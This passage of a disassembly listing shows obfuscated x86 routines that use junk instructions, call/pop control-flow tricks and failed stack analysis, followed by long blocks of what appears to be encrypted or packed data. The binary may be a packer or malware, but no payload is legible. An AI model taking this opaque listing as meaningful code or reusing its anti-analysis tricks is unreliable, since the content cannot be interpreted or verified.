		mov	si, bx
		push	edx
		pusha
		jge	loc_5BD9AF
		mov	bx, cx


loc_5BD9AF:				; CODE XREF: sub_5BD954+52j
		jmp	loc_5BD9C2
; ---------------------------------------------------------------------------
		xchg	eax, ebp
		retf	0D57h
; ---------------------------------------------------------------------------
		dd 97312284h, 87A43C23h
		db 0C2h, 24h
; ---------------------------------------------------------------------------


loc_5BD9C2:				; CODE XREF: sub_5BD954:loc_5BD9AFj
		popa
		pop	dword ptr [edi+ebx]
		pusha
		push	ecx
		call	sub_5BD9D5
		inc	edi
		repne adc al, ds:0D45C5FDEh
sub_5BD954	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5BD9D5	proc near		; CODE XREF: sub_5BD954+74p
		pop	eax
		pop	edx
		mov	dh, 0Fh
		popa
		mov	ax, 4710h
		sub	ebx, 54943987h
		sbb	al, 71h
		add	ebx, 54943983h
		sbb	cx, 0F77h
		cmp	ebx, 0FFFFA49Ch
		jnz	loc_5BDA19
		sub	si, 0D174h
		jmp	loc_5BDA34
; ---------------------------------------------------------------------------
		dd 9EC8F72Dh, 5899C50Dh, 44556317h, 47F39113h
		db 82h
; ---------------------------------------------------------------------------


loc_5BDA19:				; CODE XREF: sub_5BD9D5+23j
		add	si, 0EC9Ah
		jmp	loc_5BD972
; ---------------------------------------------------------------------------
		db 43h
		db 0CCh
		db 0ACh, 0F0h, 7Dh
; ---------------------------------------------------------------------------
		retn	9072h
; ---------------------------------------------------------------------------
		db 6Dh
		dd 282E00FCh, 21CDD0A1h
; ---------------------------------------------------------------------------


loc_5BDA34:				; CODE XREF: sub_5BD9D5+2Ej
		lea	ecx, [ebp+9622FF1h]
		or	[ebp+95D0945h],	esi
		push	edi
		cmc
		pop	esi
		mov	[ebp+95D0919h],	ecx
		ja	loc_5BDA55
		mov	[ebp+95D07C5h],	edi


loc_5BDA55:				; CODE XREF: sub_5BD9D5+74j
		mov	dword ptr [ebp+95D1349h], 6638h
		push	0
		push	ebp
		call	sub_5BDA6A
		and	[ebp-3Dh], bl
sub_5BD9D5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5BDA6A	proc near		; CODE XREF: sub_5BD9D5+8Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5BDA6A	endp

; ---------------------------------------------------------------------------
		dw 0D6EDh
		dd 9D89CA63h, 95D113Dh,	0C68B6660h, 0D852950h, 5F095D09h
		dd 0F985C761h, 95D15h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0A618C351h
		dd 662A8C72h, 0E6DD6955h, 11E860h, 0A93B0000h, 0C0C0D46Ch
		dd 0CC3D65FCh, 1A995766h, 89483CA7h, 5D0B259Dh,	8B665909h
		dd 0B5FF61D1h, 95D1039h, 2A99BD29h, 95FF095Dh, 95D2259h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 7AC35141h
		dd 0DDA1DF3Bh, 1301BD8Bh, 6A095Dh, 11B195FFh, 0C08B095Dh
		dd 30E47CEBh, 33531708h, 0D74365A2h, 13ECE49Ah,	1BDD7C19h
		dd 5A228F3Fh, 9E14ADA9h, 29176EA1h, 0DD507A17h,	293FA587h
		dd 0FD426C8Fh, 0ECCC53Eh, 2B0C1371h, 0D60993A6h, 0E5A30067h
		dd 5973F92Bh, 0E41E7FF5h, 122F3220h, 0BBDC62A0h, 9B3C481Eh
		dd 20A224E2h, 5C7C6200h, 22AEEDC3h, 0C1618283h,	6C661343h
		dd 857680CBh, 9D4C14EBh, 0AD7B38B2h, 337277DEh,	77318233h
		dd 0D9C197EFh, 8D8D97B5h, 9623118h, 198D89F5h, 8B095D09h
		dd 5D04B985h, 4985C709h, 0CC095D13h, 6A000074h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 81B0C352h, 0D640B5EFh, 0C7CAB206h, 5D15F985h, 9, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 3146D29Fh, 5BD2F381h, 0B5FF14C8h, 95D1039h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 8EC35141h, 0FC85336Ch
		dd 0FFF88B66h, 5D225995h, 0FF006A09h, 5D11B195h, 0EBC08B09h
		dd 7A3CA7F4h, 8A9156F4h, 0C5BD0C29h, 0EE143A1Ch, 6164ED86h
		dd 3203E2Bh, 1972B58Ah,	0F95FA085h, 5929958Fh, 0B55905B2h
		dd 0FB60A576h, 0F221A947h, 96127F7h, 272EC4D8h,	0B5D14836h
		dd 28826E6Eh, 132BE8BDh, 606074D9h, 0AB6636Eh, 9224790Dh
		dd 9E46BF06h, 0A61ECE4Ch, 3B5E9DB9h, 0B0820606h, 5FD81DC9h
		dd 8EC29F8Eh, 779105AAh, 5DE9F99Eh, 497BE548h, 928C4BA2h
		dd 9EA81FEh, 0D0AC59CBh, 0A7BF7088h, 2197B974h,	47D6E2E7h
		dd 36D090A4h, 2F84E3E1h, 37C8E0F8h, 37D0D1EBh, 3184DEE7h
		dd 3DCADEE9h, 43D690FCh, 3CD190E6h, 0EED6D5ECh,	37F290E9h
		dd 2FD1E4FAh, 2FE990E4h, 3CCDD8EBh, 0CEA470EDh,	71h dup(0CEA47088h)
		dd 884D7088h, 36A4708Ah, 0D7C6A4F3h, 0C9EE3A61h, 0F5937B77h
		dd 0E1E77024h, 0FB89A410h, 0E89E7A2Eh, 86AD19h,	202B6931h
		dd 346EB199h, 255FE068h, 346EB199h, 0AD5CE36Bh,	0E85D751Eh
		dd 23C3A07Eh, 0BAB3F394h, 0E72246E5h, 31F3B93Eh, 35EEB94Fh
		dd 0A322DA6h, 5F99A3BBh, 0AB6CFE46h, 0FAB4FF61h, 74ABB75h
		dd 1F700C81h, 19E48E46h, 412F88D6h, 0E0946A25h,	0A29144E6h
		dd 0DF195027h, 0CEA4705Eh, 35EEB93Dh, 0EB5B2DA6h, 0C8F2A27Eh
		dd 8D0E5CE4h, 7F5C5D03h, 1EB2B695h, 629CE1CDh, 1DA2FD45h
		dd 8357D36Bh, 966B0428h, 0DF9B1C6Dh, 398D3F09h,	9C3FA7F6h
		dd 0AEE87506h, 295FB9E8h, 22B97895h, 0E81CAB4Fh, 521415B2h
		dd 3F998DA0h, 0F9648636h, 0FE0F2F71h, 93A47089h, 0CCF649F1h
		dd 9CC659E1h, 8EC857FFh, 0C5FF4008h, 0F5C35CE4h, 7513F851h
		dd 6066F0A4h, 7D0B2591h, 6B19F8ACh, 0B9DCA19Eh,	0FE52899Fh
		dd 17BB2B01h, 0A3214EC2h, 64BEF948h, 8F97A382h,	39FDF4D6h
		dd 0E51F013Eh, 2CEF7DC5h, 1EBD7CE2h, 6E142591h,	583A81Ch
		dd 166B9F34h, 9427A073h, 0C2D74F1Eh, 832A92ECh,	0DD20202Dh
		dd 0CCFA5ACEh, 33D1D30h, 0F3C89AA2h, 61032701h,	0CEA4220Fh
		dd 18ED9388h, 91269EEFh, 469A8EA2h, 0F99AE8E5h,	9161C697h
		dd 0B966695h, 5566DEA0h, 94097ED5h, 4F30420Ah, 4DDC0296h
		dd 0D1893E2h, 0C5581406h, 0E4F470C8h, 7786868Bh, 24B4B08Dh
		dd 5D58E24Dh, 7A1E9F8h,	13A60B26h, 57BEC39Dh, 0BEFF3DFDh
		dd 0CC4F6E63h, 0B4D1ACFDh, 0BEFF3D94h, 0D701010Ch, 2648B0B4h
		dd 60F2E70h, 0BEFF3D6Eh, 0EAFEBFD2h, 0B4042038h, 0E0253809h
		dd 0BEFF3E98h, 0FBF5D5F8h, 0F867F699h, 36D9AB93h, 973CA4F5h
		dd 0BC7E3F01h, 0AAD839EDh, 0D73E4312h, 0BEFF3D7Dh, 6276EEE3h
		dd 0DA40604Ch, 0EA47088h, 0D1F534D3h, 979E5C2Eh, 8CAE1E75h
		dd 2C56242Ch, 6FA9BB83h, 2751232Bh, 71ABB981h, 28522028h
		dd 71ABB981h, 29532129h, 6EA8BA82h, 0A651232Bh,	4F47F9DBh
		dd 0CEA4744Bh, 0D24FF388h, 0F2D06FDBh, 0D22BCB8Ch, 57F7CCACh
		dd 0D267F16Bh, 4FA47088h, 0CEA47463h, 0F2B8F788h, 0F298F9D4h
		dd 4F42F9DEh, 0CEA4744Eh, 0D24AF188h, 55A47088h, 57F894BCh
		dd 20F19494h, 0EDA22DE0h, 0B825CA8Ch, 150E5FDh,	90254A7Fh
		dd 0A7283475h, 57FE4501h, 59F0CD67h, 92259494h,	0CEA4708Ch
		dd 0CEAB4AE0h, 0F288F988h, 392D6D01h, 25BCD80h,	9227CBACh
		dd 0F2906F8Ch, 0D260F1D7h, 0B7A47088h, 0CD5FB8ABh, 4A300112h
		dd 0DB320706h, 37428C5h, 93A779EAh, 9BDD5077h, 52248754h
		dd 3B70951Ch, 0FD0B346h, 0A669D4CBh, 4B59C723h,	0CD4BEF99h
		dd 0C9F9965Ch, 892F7CBBh, 0DE4E8516h, 0D4158281h, 82BCAB2Dh
		dd 0F300E649h, 84B7C4D0h, 3155AAEEh, 128C766Ch,	89AEAEA4h
		dd 5F22D65Ah, 19E49CBFh, 97948BF0h, 6BF0A97Ah, 6D8E9DD8h
		dd 575A899Ch, 0BF26AF7Ch, 0FFEAE698h, 0D3C28E27h, 0DF4C9F92h
		dd 0ABA47088h, 4F5CE553h, 178A5304h, 668F8ED4h,	0F21F82C8h
		dd 27FCC1DBh, 2EC4C7D6h, 0B725D6E9h, 28C5B4F7h,	3C413609h
		dd 59C27088h, 0CEA4D840h, 7C157088h, 0AF25D6D7h, 0EA2F828Bh
		dd 901B7FB6h, 0F0343309h, 0D94DB5A7h, 47A47088h, 8A8DAA6Fh
		dd 0B0A0B7DDh, 0C1254D6Fh, 3786DD0Ch, 1174F1EEh, 554FF153h
		dd 4EF9364Ah, 84F76D49h, 0CA0FF14h, 8372FBEEh, 0D24BF39Dh
		dd 282C5A09h, 0CD25BC5Ch, 0CD5B0128h, 0CD14F587h, 992E6F77h
		dd 0BD1109D3h, 0E3FEEFFBh, 0ADF5B9F2h, 34B622EEh, 19FBCE0Fh
		dd 0A140419Fh, 9F2443h,	0BD12BEA6h, 0BD11F0ECh,	0EEC591FBh
		dd 0B3CAF8Bh, 1123AD74h, 0BD123A82h, 0A1FAFCFBh, 3811FCFBh
		dd 0F1E63B1Bh, 306A6B04h, 9666333h, 0B3985BEEh,	9CE536B2h
		dd 0BD63142Bh, 6FA5FCFBh, 45BE909Ch, 65BEED3h, 402B3CAAh
		dd 3E70B3E9h, 0A8EA1BEEh, 6619C65h, 0A99F97DDh,	431D5506h
		dd 8AEA3874h, 61CAFB28h, 0D21390Ah, 0BEE0ECF7h,	0BD11F2D3h
		dd 89C982FBh, 0B7EC12E2h, 0BD11FC08h, 910DBF12h, 12FD6C49h
		dd 9DB6F92Fh, 0AE9DC305h, 0B7AFC6F7h, 0BD11FC06h, 9704EDC8h
		dd 0E6531C9Eh, 383B593Ch, 33967B33h, 66795AB8h,	541C7B5Ch
		dd 8D11FD91h, 0BD11DA70h, 33E65EFBh, 73C7BFC9h,	6111FCFBh
		dd 9CCC32E3h, 22F70088h, 110B3AAFh, 0D8740F8Dh,	59C71910h
		dd 7611FCFAh, 34855B7Fh, 7EBCD5Fh, 0FEA55DDAh, 0B6C2BC3Bh
		dd 0D2499B43h, 3ABA8E74h, 142CB726h, 52F30A27h,	0B6C1DD34h
		dd 0E512BC43h, 97F41EF2h, 0E94FA6D6h, 0B6C27F82h, 0B6C1E7BBh
		dd 0B617FE43h, 2B2EEB43h, 3BE6FFB4h, 806A7B0Fh,	2766FEDCh
		dd 99C1BBB7h, 0D6958B65h, 53AFF2D5h, 38D760B9h,	9E661231h
		dd 0ABBA8168h, 0D9F36530h, 0C33E407Ch, 0B6C1E3D8h, 2EBA8143h
		dd 718B66ADh, 0CF70EFF4h, 0B6C1EB54h, 0CB063CBh, 464A54EAh
		dd 0C73D5D40h, 0B61FFFA9h, 3369EB43h, 0DAF3C436h, 755101Eh
		dd 0E1E6E967h, 0D023B0D6h, 0B6C1EB5Ah, 3D9F5CFDh, 7C48055Ch
		dd 928785A4h
		dd 0B7F767FFh, 6F8D2C52h, 0B61DFE95h, 4F32EB43h, 0CBE47C4Dh
		dd 39174782h, 86592E95h, 2D0BD4C3h, 45C766EDh, 0C6C1ECEBh
		dd 0B6C05AD8h, 0F7958442h, 0A2A31CAAh, 897DE005h, 0A547050Bh
		dd 0D540E221h, 0C63D32E7h, 0D3D432B7h, 9D4EDECh, 7207204Ch
		dd 0C17CFFC8h, 0D3975A2Ch, 721C3F7Ch, 0E796C9C8h, 0D411D13Dh
		dd 0ED96CC87h, 5811D9CDh, 723AB774h, 4A1B32C8h,	0D3D432D8h
		dd 0BC5DB044h, 61A44C11h, 7501F74Ch, 59CB02C8h,	0CDAD4BA8h
		dd 0D3D4DAA8h, 6215ECB7h, 7501074Ch, 499D02C8h,	0CDAAFCF5h
		dd 61E63207h, 0D011D9E8h, 0BD904177h, 62D432B7h, 7501074Ch
		dd 0C8FC02C8h, 93D432B7h, 9A96C807h, 0A311D3F8h, 0BC5BB044h
		dd 0D3A44C11h, 7219185Ch, 0E2D5AFC8h, 0BC5BB044h, 61A44C11h
		dd 7501F74Ch, 59CB02C8h, 0CDAD4BA8h, 0D3D4CFA8h, 29F01B7h
		dd 9B5ADA00h, 0C811B84Ah, 0D3166B77h, 8C1432B7h, 0E4D4F237h
		dd 0D3CB604Ch, 4FD11EB6h, 0B0F14934h, 0C8D432B7h, 536CC781h
		dd 69F25A9h, 189F0105h,	0D31F7602h, 0D7F132B7h,	0FCD432B7h
		dd 0D4970392h, 0FA9343B7h, 9FD432B6h, 8BA18AB2h, 0E394460Fh
		dd 0D3D4874Ch, 748AC6B6h, 0DA1D219h, 62D43071h,	7501F874h
		dd 859EC9C8h, 3B11D3F9h, 5B361EFCh, 0ED8A83EAh,	231325B1h
		dd 0CADCAE8Fh, 8954208h, 61D432B6h, 7502E37Ch, 669EC9C8h
		dd 0B011D3F9h, 0C9F2AE86h, 619E894Ah, 0CDAAF62Fh, 0B0F6A1D2h
		dd 61914C14h, 0CDAD4DD8h, 0D310CBC6h, 235432B7h, 31E6CC96h
		dd 0C11D9E2h, 72670C4Ch, 0D57BC6C8h, 0A6D4ECB7h, 0D3D42EAFh
		dd 17A112B7h, 0A95DCC18h, 0A955B5B3h, 0D3D41CB3h, 1659F5B7h
		dd 6AAE0FF9h, 9BF69C7Dh, 0D3D444A8h, 0A1D247B7h, 2F9F5981h
		dd 8D4BC74Ch, 1F5B5F5Bh, 55A193F2h, 1519EB87h, 0FD968A23h
		dd 0D311D9DCh, 69D432B7h, 0D43F6179h, 726CE37Ch, 0A6D4ECC8h
		dd 0D3D42EAFh, 17A112B7h, 0A95DCC18h, 0A955B5B3h, 0D3D41AB3h
		dd 1659F5B7h, 857E76D0h, 898ECDD1h, 0D411D9E6h,	726ADC5Ch
		dd 0A8D4ECC8h, 0D3D42EAFh, 17AF12B7h, 0AAADCC1Ah, 0A955B5B3h
		dd 0D3D416B3h, 17A7EFB7h, 87B8F84Ch, 71821051h,	0D4D4E7AFh
		dd 721AA45Ch, 0EF89C7C8h, 7A19C7A3h, 5AAD25CBh,	0DF0D0D16h
		dd 5A9749EFh, 2BB36144h, 0A1006263h, 4E4CD4CEh,	0E9D85FFh
		dd 0A49CFAC9h, 0F1365A3Eh, 0CD1B8DECh, 0C4E4938Dh, 0A8E9F520h
		dd 375470D4h, 0CCCF7039h, 73F150A4h, 0CBB5C811h, 0B6F22036h
		dd 0A4498DD6h, 278E795Dh, 20FF344Bh, 62A203ACh,	9FF4EA80h
		dd 0BD0A6291h, 0BF39E3ACh, 5BE653B8h, 133E17E4h, 0D4BECA98h
		dd 0B1270AF8h, 0A7A1B0ECh, 597963E4h, 6711B15Ah, 0E3404FCDh
		dd 2834D2A8h, 2891F394h, 0C6B2FF4Ah, 89109D0Fh,	0D91FDB66h
		dd 28E7DB66h, 0AED8FF4Ah, 0BCDD060Fh, 0F5815A31h, 289200C4h
		dd 0F013524Ah, 92909E31h, 1877A94Ah, 892FF4Ah, 9F241C80h
		dd 0A79BB796h, 49BB786h, 0DA92FF4Ah, 357B1C98h,	394FB4B4h
		dd 0F6699F07h, 2892D6B1h, 63544Ah, 5D909E68h, 0C3E293C5h
		dd 28FB4F31h, 0AA9F714Ah, 2892DC12h, 5924DF4Ah,	0FC2A5280h
		dd 0FCDA5A46h, 2892DE46h, 5921994Ah, 26C29387h,	8CA46751h
		dd 5E1E55C3h, 101B1822h, 28909E55h, 9292FF4Ah, 1877A54Ah
		dd 892FF4Ah, 9F201C9Ch,	0A79BB7B6h, 0EC9BB786h,	0DE92FF4Ah
		dd 9FB71C94h, 0C24A8FC5h, 680DD031h, 4A450EFAh,	1F2CB671h
		dd 4022DB90h, 2892FF4Fh, 0AF52A76Ah, 1CBB9CB1h,	1CBB9CC9h
		dd 2892FF41h, 0A852AB8Ah, 7EF3CDE5h, 0F41B549Ch, 25909E37h
		dd 0C3B1A3D5h, 0F81B5431h, 92909E68h, 586B004Ah, 71909E59h
		dd 444EF40Ah, 47993579h, 0BEAF42EDh, 9F0AF252h,	2633175h
		dd 2CD4E906h, 0DCF9F4ACh, 98F18EF5h, 1113F782h,	3F4D7BFDh
		dd 98F82FF7h, 110C30B3h, 1E259B5Dh, 0C0EA2FF7h,	110C4103h
		dd 3875D028h, 3239383Eh, 387639D5h, 0E8B6DBF4h,	3E09EC43h
		dd 3E09F45Bh, 387639B7h, 0F8B6031Fh, 53DDD99Eh,	0DD75B900h
		dd 7F0F0231h, 0E7785F5Fh, 387639C3h, 0CB75EBD4h, 387535BCh
		dd 7B0819D4h, 1E32AFF3h, 1E6AB8D8h, 387544D8h, 7B00F8D4h
		dd 0B91637F4h, 0C90F0895h, 0D93DA1FDh, 3EF19F91h, 3AE42FF7h
		dd 0E753FF4Fh, 0CA75EBC3h, 387535BCh, 7B0B19D4h, 1E3AAF0Eh
		dd 1E6AB8D8h, 38751BD8h, 7B03F3D4h, 545CB8EAh, 937B2237h
		dd 0E753F737h, 0E8CC22C3h, 0B278DBF9h, 6CF936D4h, 9578DCCBh
		dd 92996D94h, 3E032A0h,	0EA053142h, 0F52850C9h,	0E20F3FC0h
		dd 754A63AEh, 8AC14E77h, 497FCB57h, 843AA7Dh, 0ACB22883h
		dd 0AC68BC61h, 6E2AA640h, 0F7E17141h, 2B0666C9h, 0D9E2DBEFh
		dd 546D788Ah, 0BC2CCE71h, 0A610A911h, 67864844h, 6D3146EFh
		dd 0B80F9940h, 7E7A4850h, 1EFBE85Ah, 8FF74242h,	98A218A6h
		dd 5950214Eh, 4D6E3E85h, 34F03983h, 2A7659FAh, 0DF55DD63h
		dd 1BF7DEBBh, 8A730F49h, 478C3600h, 30FF9C67h, 7A7BFECFh
		dd 68F72ACBh, 30FF87CFh, 30FC8107h, 407087CFh, 30FF9C90h
		dd 16D5ADCFh, 5398346Dh, 0A85DDFA6h, 0A577DFFBh, 4D57F38Ch
		dd 455455EDh, 661482D4h, 0F499E366h, 7A58FD52h,	4665DD3Ah
		dd 6DFDDF86h, 66148CC6h, 0F499E366h, 7A58FD52h,	8B10DD3Ah
		dd 0A54594F5h, 660B32ECh, 0F499E366h, 7A58FD52h, 1EC0DD3Ah
		dd 0F3D3345Dh, 0A45E9F94h, 0C80A3222h, 0A7E29965h, 6ECDA37Dh
		dd 0F3DC8DC5h, 0A45E9F94h, 0C80A3222h, 0A7E29965h, 0A545C5EDh
		dd 53343965h, 0A85DDFA6h, 0A577DFFBh, 3D57F38Ch, 1BB032EDh
		dd 0A61E91F4h, 992EEF66h, 0B233E430h, 0F6FDAC50h, 0A45E9F94h
		dd 0C80A3222h, 0A7E29965h, 46A53DC5h, 0A31D95BDh, 992EEF65h
		dd 0B233E430h, 1B0DA450h, 5465837Dh, 0A85DDFA6h, 0A577DFFBh
		dd 2C57F38Ch, 686687BEh, 30FF87CDh, 398953D5h, 2 dup(30FF87CFh)
		dd 3F1087CFh, 67FF87C4h, 21758114h, 12A032E4h, 2377871Ah
		dd 9AD4BC3h, 80727EF7h,	0C201FA34h, 6D40E3B7h, 0BA69CDF4h
		dd 7640BBCFh, 7D8251F9h, 1D6C5CFAh, 6ED9EB6Ch, 0A113DF52h
		dd 1DF930B7h, 15D0C64Ah, 945C8506h, 0AE4E0986h,	878C6B5Bh
		dd 0BEF0139h, 7F7FC36Ah, 488C7984h, 0A4505CF7h,	468C7876h
		dd 838C6B15h, 0EABA40E0h, 0E257F66h, 48E74CB2h,	0C706A03Bh
		dd 0D6134871h, 24D2DBC6h, 0C500F8FBh, 9417DB77h, 1A944B70h
		dd 18265968h, 0F9D5991Dh, 40963007h, 12F83F0Dh,	0C996B24Ah
		dd 26FF87CFh, 0DE868360h, 97560688h, 9A0ACDE3h,	0FA5C0CACh
		dd 8D063007h, 3F4C6F5Dh, 3006B24Ah, 0A9FF87CFh,	5C57E07Dh
		dd 0B8B820Ah, 0FC925F49h, 0E5814ED9h, 72DF1FE8h, 0EA8EC13Fh
		dd 0CC68C59Fh, 0E4CB18CAh, 8DA506ECh, 0C1679A80h, 0F8C73B61h
		dd 0D6E8667Ah, 0D63B3184h, 0A5ACE4E1h, 0A3A0FFD3h, 48867274h
		dd 524585F7h, 7B11308Ch, 0B11E288Dh, 0D3C163F9h, 91D82E0Bh
		dd 6BDD319Fh, 8C3B2F1Dh, 0BC6AADB2h, 9AF8D947h,	0D460CB5Eh
		dd 8AFB1BB3h, 0FC7A1E3Eh, 0FC344C93h, 716C28AFh, 1316DCD2h
		dd 7E9C4146h, 294C8F22h, 3A4BCA45h, 53897938h, 40AE039Eh
		dd 30FF8613h, 73A4CB7Bh, 0D6F827BAh, 0EFC326DFh, 635CBC75h
		dd 0DC866EF7h, 0D51A1BA6h, 0E71914DDh, 5E22E391h, 0D2240E0Ch
		dd 0C405F706h, 30BEA94h, 0EABA1963h, 0FA78CFB2h, 5E643007h
		dd 5B0AEA30h, 2E7F36h, 73715D9Eh, 30F245C5h, 0E1111CCFh
		dd 54D5CDBBh, 0FC240E16h, 6B37F900h, 0CE62B164h, 0A6F53EB0h
		dd 5EEFFE81h, 6CA9632Dh
		dd 0C5D1DE43h, 5C57E07Dh, 0D8B3EB23h, 804296E1h, 0EAF85D44h
		dd 0FBCFF923h, 0C205E8CAh, 0C1C2474Bh, 30FFE77Bh, 6EFD87CFh
		dd 0CC68B366h, 62E176B7h, 8E0DB9B6h, 0E3D237FAh, 0D5142D3Fh
		dd 88240E0Ch, 8654A19Ch, 6C2D63FDh, 716CB6A6h, 0F1D377E6h
		dd 0E9E31EFAh, 8777AC39h, 4055CF4Dh, 53435405h,	69BE925Ch
		dd 232F70DDh, 0E85E7FFh, 0AC1536A2h, 1D196C68h,	0B79381DEh
		dd 349BA50Ch, 408E8A79h, 25C2840Fh, 29C01D7Bh, 4D916BFFh
		dd 91030C77h, 0DE4F75B2h, 0F0EEE9D6h, 0DF1C1E72h, 0F133CEFBh
		dd 963DCEF8h, 6D0FD349h, 6A6CE863h, 292795D7h, 0D98540FFh
		dd 8A0C0886h, 0E25B3CF6h, 0E7BC1E1h, 2378A90h, 0F9E9D2B1h
		dd 3E759C58h, 28C60E3Eh, 4D05573Bh, 2F90177Ch, 75FA87CFh
		dd 16BC507Fh, 1682411Fh, 64134CAh, 0E5D023F1h, 0E976ADA7h
		dd 0DB80AB3Bh, 0F29BE9BDh, 0FAF24DFAh, 776123A5h, 0E34026BAh
		dd 15F136A1h, 0EFFEDFEAh, 0DC6E0FD8h, 0E011BBACh, 1D64226Ch
		dd 25C285DAh, 329F5E28h, 1D6422FFh, 0BAF015Fh, 0CDB57EF7h
		dd 6A766CEAh, 1ED950EBh, 36466D64h, 0D60CCDAFh,	0B7FF87CFh
		dd 13861BF0h, 0BFBAAA45h, 96578237h, 2EC98B60h,	3AE84F75h
		dd 19930DF3h, 0E6A65F29h, 4AA40E0Dh, 47CB048Eh,	0B5A40E0Eh
		dd 0F83B1429h, 51A40E0Dh, 8861D76Eh, 223B7A5h, 0BF2AD51Ch
		dd 30FCD987h, 0D0240E0Dh, 0FBC3A434h, 0BE7E3007h, 0CC0DC764h
		dd 30FFB7F0h, 35BA7ACFh, 395DA63Fh, 0FA854EE0h,	0C1221F1Eh
		dd 0FBC27B23h, 0E733007h, 0CFEB39E9h, 0C48A253Bh, 5A5ED68Fh
		dd 0F1235D3Dh, 514E05FAh, 91019F3Dh, 1E979E3Ch,	84973DE2h
		dd 0C14E9548h, 0AF690856h, 29245AD8h, 9A0AADFFh, 0B8446EACh
		dd 7A47317Eh, 72DC39FBh, 0AFF1637Bh, 1A490DB1h,	3736967Dh
		dd 67589EFFh, 3702E322h, 0F8F24DFFh, 0D716700Bh, 1194810Ah
		dd 804658C5h, 3847999Bh, 267AE676h, 3070CEC5h, 9D929CB4h
		dd 9B178942h, 0FFCD44C9h, 131A40F5h, 54BD5C68h,	0F2AD8EB1h
		dd 6209A3B5h, 79866E0Eh, 1D1995F6h, 94D2CA50h, 0D546A271h
		dd 0C5D1DE43h, 1E9D40F0h, 36C2687Ch, 7CB4EBF9h,	0ECF4A12Fh
		dd 3EC3A434h, 35B536B5h, 0D22A6526h, 0D11AF706h, 94FD46D8h
		dd 0F2A3CDB5h, 901DEE77h, 0CEFA2FCCh, 0D66742E0h, 142A11E5h
		dd 5FADE367h, 67E396ABh, 29B5A810h, 0A5A45802h,	0B93B0276h
		dd 0B8636DDAh, 8D211701h, 8301D584h, 0D6F82CB9h, 0F529F4DFh
		dd 2CABE16Fh, 0E667561Fh, 0CC0DA8B6h, 0A709AFDBh, 252E385Dh
		dd 3034F128h, 0C02387CFh, 5238069Fh, 63BF43A6h,	32AEE17Dh
		dd 3BEA7F1Dh, 33A1E768h, 3DB07D00h, 36A2E66Ah, 3DB07D01h
		dd 35AFE56Ah, 3CE98002h, 33A1E76Fh, 61771887h, 30FBC848h
		dd 597287CFh, 24CE04CBh, 24F6FD03h, 30FE7717h, 24FEFECFh
		dd 0C7FB7A4Ah, 0D59663B3h, 0B9F728FEh, 837163CBh, 3CA913CBh
		dd 413E06EBh, 0D1FF87CFh, 30FF7E62h, 5C906CFh, 2E492C12h
		dd 5310872h, 0C6492C12h, 0F16510CAh, 837F0EEBh,	30FF87CBh
		dd 0D8DB32BEh, 30FBC248h, 151087CFh, 636670E1h,	4F8AFCEh
		dd 83F27D29h, 393EA6BEh, 821C36A0h, 277430DDh, 8C5F8A5h
		dd 0C6A2F8F7h, 65552CA6h, 758F4F79h, 82B53799h,	18995BBCh
		dd 10CA8051h, 6560691Eh, 30304CA8h, 0A6BB474Ah,	0C1542D31h
		dd 5A026964h, 0DED23A60h, 0DFA13192h, 9F3F3753h, 7F572185h
		dd 0CE69F88Ch, 125524A8h, 64F05401h, 38FD1A72h,	0E90C409Ch
		dd 0A005399Ah, 8A70096Bh, 0E2B83255h, 2A5F63DBh, 0D1D55ED6h
		dd 0BA734CDBh, 479C4598h, 688F8611h, 30FF87CAh,	0D5310FEFh
		dd 44DE4230h, 44DE4248h, 30FF87D6h, 0AB31160Fh,	0E681D374h
		dd 0DD25A748h, 47C7D930h, 2F497D1Ch, 30F29E16h,	0CDDF87CFh
		dd 0AB77278Ah, 37883EBh, 30C383EBh, 0D5BE87CFh,	745BBA8Ah
		dd 545A839Fh, 0B99DA569h, 644BF86h, 4F72ADAh, 0DAFF8617h
		dd 42CA15CFh, 10FF87CFh, 0C785C71Dh, 0AFFA623Bh, 9FA620Bh
		dd 6FF87CFh, 0F49AC715h, 3D1D4CCAh, 0BEF5E200h,	30FF87C6h
		dd 609BAF2Fh, 859F279Dh, 0CBCB6D44h, 30FF87B0h,	0D5F221CFh
		dd 30FF8397h, 818567CFh, 24E6FD1Eh, 24BE06CBh, 30FE50CBh
		dd 818D44CFh, 729D85FBh, 0B5050A1Ah, 2547F2Fh, 0B9F72AB1h
		dd 0CB210074h, 746526B0h, 478C38ECh, 46530130h,	94667D1Ch
		dd 47836800h, 19A7EAB0h, 2F497D1Ch, 3FAFD5BEh, 70AA7D1Ch
		dd 0A5FD7292h, 0B2B3574Dh, 0E40578B1h, 25BE607h, 70A1264Ch
		dd 8AB96DA9h, 0E8880198h, 0AAD6DCCEh, 0EC7E1C16h, 0DDC78AB6h
		dd 238782Bh, 0D74F6C4Ah, 0BBCC3AA4h, 0CAECF817h, 971CE0A0h
		dd 0AB20C52Dh, 0AA2F2459h, 5EEF7129h, 18099759h, 3C8853D8h
		dd 0C0938DFBh, 0C44EEA6Dh, 552D26F0h, 1C2B040Eh, 52CB3961h
		dd 9476949Bh, 3A0AC54Fh, 6158E939h, 0F82170E9h,	5C142B67h
		dd 6158D506h, 1189E489h, 5A56C571h, 6158DF05h, 3189E489h
		dd 5A56C570h, 615DB305h, 6589E489h, 5A56C577h, 61580705h
		dd 7989E489h, 5A56C69Eh, 6158DB05h, 69916C89h, 6056C6A8h
		dd 4F095198h, 6A75ED89h, 0E658ED89h, 4B1AEC59h,	62D4630Ch
		dd 0A82FED89h, 5B954FE1h, 615D9205h, 0A966A89h,	0E658ED89h
		dd 1957D5FBh, 0E831C20Ch, 0E957FEDAh, 1989D40Ch, 62AC5198h
		dd 191FED89h, 62A36798h, 1C1FED89h, 62AB6C98h, 0FD7ED89h
		dd 0E5B48F85h, 0A5B285Dh, 6158D652h, 0E0B15689h, 0C956C7CEh
		dd 6158ED86h, 0FFD0C88h, 59701D8Ch, 0BE58ED89h,	2BCC7FCh
